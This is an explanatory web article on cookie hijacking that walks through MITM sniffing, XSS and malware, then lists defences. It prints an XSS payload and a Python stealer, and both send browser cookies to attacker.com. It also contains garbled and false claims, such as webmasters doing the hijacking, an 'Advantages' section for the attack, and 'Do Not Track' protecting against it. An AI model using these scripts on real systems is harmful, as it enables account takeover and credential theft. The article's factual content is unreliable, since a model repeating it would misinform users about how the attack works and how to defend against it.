What is Cookie Hijacking?

Cookie Hijacking is a method by which webmasters break into other websites to steal cookies. This allows them to watch the victim's browsing activity, log their keystrokes, gain access to credit card information and passwords, and more For example, Suppose you log into your online banking account or email and you find that someone has gained access to your account without your credentials.

This cyberattack is known as cookie hijacking. Cookie hijacking attacks mainly involve injecting JavaScript code into a website by embedding it in the HTML of an otherwise authentic-looking email or advertisement. This malicious code is then executed by the browser when you visit the infected site; it will display an endless series of popups that may be used for phishing purposes to steal your login credentials or other sensitive information. Some sites have also been modified so that they take cookie data from visitors without requiring them to provide their login credentials first.

As the name indicates, this attack is a hijack of cookies. Cookies are small text files that are created by the server and sent to the client with each page request. The main purpose of cookies is to make browsing easier for you by providing various types of information to websites such as your name, address, and search preferences so that they can customize your browsing experience based on your past visits. For example, Gmail will fill in certain suggestions automatically as soon as you start typing in a new message, without requiring you to dig through the Edit menu again and again.

What are Cookies and Why Are They Targeted?

Cookies are the small data files that websites store in your browser so that the browser will remember the login sessions, track user preferences, and maintain authentication details in future . Cookies are help to users to stay logged in websites they visit without needing to enter credentials repeatedly. For example, when "Remember Me" box appears on the website and you click on that it means that you give permission to website so that they can stores a session cookie in your browser so that they keep you signed in that website.

There are different types of cookies:

• Session Cookies – They are the type of cookie that expire once you close your browser it is also known as Temporary cookies.
• Persistent Cookies – Persistent Cookies are that type of cookies that stored on your device or in the browser for a longer time period to remember login details and preferences which you make on the website.
• Third-Party Cookies –This type of cookie is used by advertisers and analytics platforms so that they can track the user behavior across multiple sites

While we know that cookies improve the user experience but they can bring some security risk as well because inside the cookie users session IDs, authentication tokens, and other sensitive data are stored which means if they gonna leak or steal by attacker they gonna use the credential or even the attacker can take over the user account.

Why Are Cookies a Target for Hackers?

Hackers target cookies for several reasons:

1. Authentication Tokens– Gaining Access Without Passwords

Web applications stores the session IDs in form cookies (small text files) in your device's browser or hard drive so that they can keep users logged in. If a hacker/attacker steals the session cookie of a particular user or many users they can bypass the login process without entering the valid credentials and gain the unauthorized access to accounts of that particular websites, email, banking, or corporate portals.

2. Persistent Sessions – A Long Window for Exploitation

Many websites allows the long-lasting sessions that were stores in browsers or hard drive in your system which simply keeping users logged in for days, weeks, or even months, but this can bring the security risk because if an attacker hijacks an active session means that cookies are valid, they can use it for an extended period an do the malicious activity without triggering suspicion.

3. Unsecured Transmission – The Risk of HTTP Traffic

If the cookies transmitted over unencrypted HTTP connections means that websites which not use the HTTPS they are vulnerable to Man-in-the-Middle (MITM) attacks because all the communication were going to be unencrypted. Hackers can intercept and steal cookies using packet sniffing tools like Wireshark, tcpdump and many more. This is particularly dangerous on public Wi-Fi networks because the security of public wifi are weak they are easily to break the security and cybercriminals can easily eavesdrop on unprotected web traffic or even they can do the evil twin attack to steal the other credentials

How Does Cookie Hijacking Work?

When a hacker or the attcker steals your browser cookies so that they can gain the unauthorized access to your online accounts this is known as Cookie hijacking is also known as session hijacking. These cookies often contain session IDs, authentication tokens, and login credentials, allowing attackers to impersonate you without needing your password.

Step-by-Step Process of Cookie Hijacking

1. The User Logs Into a Website

• When the user visit a secure website which using the HTTPS connection (e.g., Gmail, Facebook, or some online banking).
• When the user logged in the website, the website server sends a session cookie to your browser which stored in your browser you can see the cookie by in Inspect -> Application tab -> Storage where you can see your cookie which help you logged in without asking for your password every time.

2. The Hacker Intercepts or Steals the Cookie

An attacker steals your session cookie using one of the following methods:

Man-in-the-Middle (MITM) Attack

• If you’re using the an unsecured Wi-Fi network or the public wifi in which communication through network is not encrypted (like in a cafe, airport, railway station, or hotel) so that an attacker can eavesdrop (to listen secretly without knowing you) on your traffic an see all the information such that what website you visit, if you enter any credentials, your passwords. cookies etc using a tool like Wireshark.
• If the website is not using HTTPS which mean that all the information are going as plain text for example cookies are sent as plain text which making it easy for hackers to see them and use that directly.

Cross-Site Scripting (XSS) Attack

• In this type of attack hackers can injects the a malicious JavaScript code into a vulnerable website which shows the cookie of the users. For exmaple you can see the below code as an demo which grab the cookie of the website.

<script>
document.location = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>

• So from the above script when you visit the infected site your browser automatically executes the script and your session cookie is sent to the hacker’s/ attackers server.
• Now the attacker can use your session cookie to log in as you without your password.

Malware on Your Device

• Many Hackers also use the malware (like trojans or spyware) to extract cookies stored in your browser or stored in your hard drive.
• Once the malware gets access to your system it sends your login session directly to the attacker.
• Below is the sample script it is only the sample script

import sqlite3
import os
import shutil
import requests

def steal_cookies():
    cookie_db = os.path.expanduser("~") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
    temp_cookie_db = "cookies_temp.db"
    
    shutil.copyfile(cookie_db, temp_cookie_db)
    
    conn = sqlite3.connect(temp_cookie_db)
    cursor = conn.cursor()
    
    cursor.execute("SELECT host_key, name, value FROM cookies")
    
    cookies = cursor.fetchall()
    conn.close()
    
    # Send cookies to attacker's server
    requests.post("http://attacker.com/steal", data={"cookies": str(cookies)})

steal_cookies()

3. The Hacker Uses the Stolen Cookie to Access Your Account

• After stealing the session cookie from your system the hacker places it in their own browser using a simple script.
• Now, when they can visit the same website and the server thinks that they are the authenticate user because attacked have the session cookie of the authenticated user.
• Now the attacker can bypasses the login screen and change the passwords and mail so that they can gains full access to your account.

Key Points: 

• Many popular websites have been affected by cookie hijacking. For instance, Flickr has been hit by a script that steals users' passwords and sends them to an attacker's email address.
• This type of attack occurs when the attacker embeds malicious JavaScript code into an otherwise authentic-looking email or advertisement. 
• This malicious code is then executed by the victim's browser when they visit the infected site; it will display an endless series of popups that may be used for phishing purposes to steal your login credentials or other sensitive information. 
• In addition, some sites have also been modified so that they harvest cookie data from unsuspecting visitors without requiring them to provide their login credentials first.

Advantages: 

• Cookie hijacking is a stealthy attack. It can take place without the victim knowing anything about it because the browser will send cookies automatically to any website the user navigates to. Most computer users do not realize the importance of protecting their cookies, which is why they often fall victim to such attacks.
• Cookie hijacking attacks are hard to detect because they use seemingly authentic-looking emails or advertisements with malicious code embedded in them to spread from one user to another over time. There is no need for a hacker's malicious server; these attacks can be carried out entirely by leveraging popular websites and email servers that people use daily for legitimate purposes as well.
• In certain cases, the attacker can do more than just steal your login credentials or other sensitive information. He can also install malicious software on your computer, make you interact with phishing sites that may attack you with ransomware, or even make you visit phony pornographic websites and more.
• Cookie hijacking is hard to detect because the user cannot be certain that they were visiting a legitimate website before any popups started appearing on their screen. Malicious JavaScript code can fool the user into thinking it was a legitimate message from one of his favorite websites that he visited earlier without realizing his cookies were hijacked at that time and sending the data from somewhere else.

How to Prevent Cookie Hijacking Attacks?

Cookie hijacking is a serious cybersecurity in present industry because it can allows attackers to steal session cookies, gaining unauthorized access to accounts which affect the companies reputation and user trust and also lead to data deak of that websites. Whether through XSS attacks, Man-in-the-Middle (MITM) attacks, or malware, stolen cookies can be misused to impersonate users.

• Always Use HTTPS
• Set Secure Cookie Flags
• Use Strong Authentication & Multi-Factor Authentication (MFA)
• Protect Against XSS Attacks
• Avoid Using Public Wi-Fi Without a VPN
• Clear Cookies & Use Private Browsing Mode
• Implement Session Timeouts & Reauthentication
• Keep Your Browser, Extensions, and OS Updated
• Monitor Active Sessions & Detect Unauthorized Access
• Use Web Application Firewalls (WAF) & Security Tools

Conclusion: 

Cookie hijacking is a serious threat that is often left unnoticed. If you are worried about such attacks on your computer, consider installing anti-malware software or activating the “Do Not Track” feature in your browser that protects you from cookie hijacking attacks.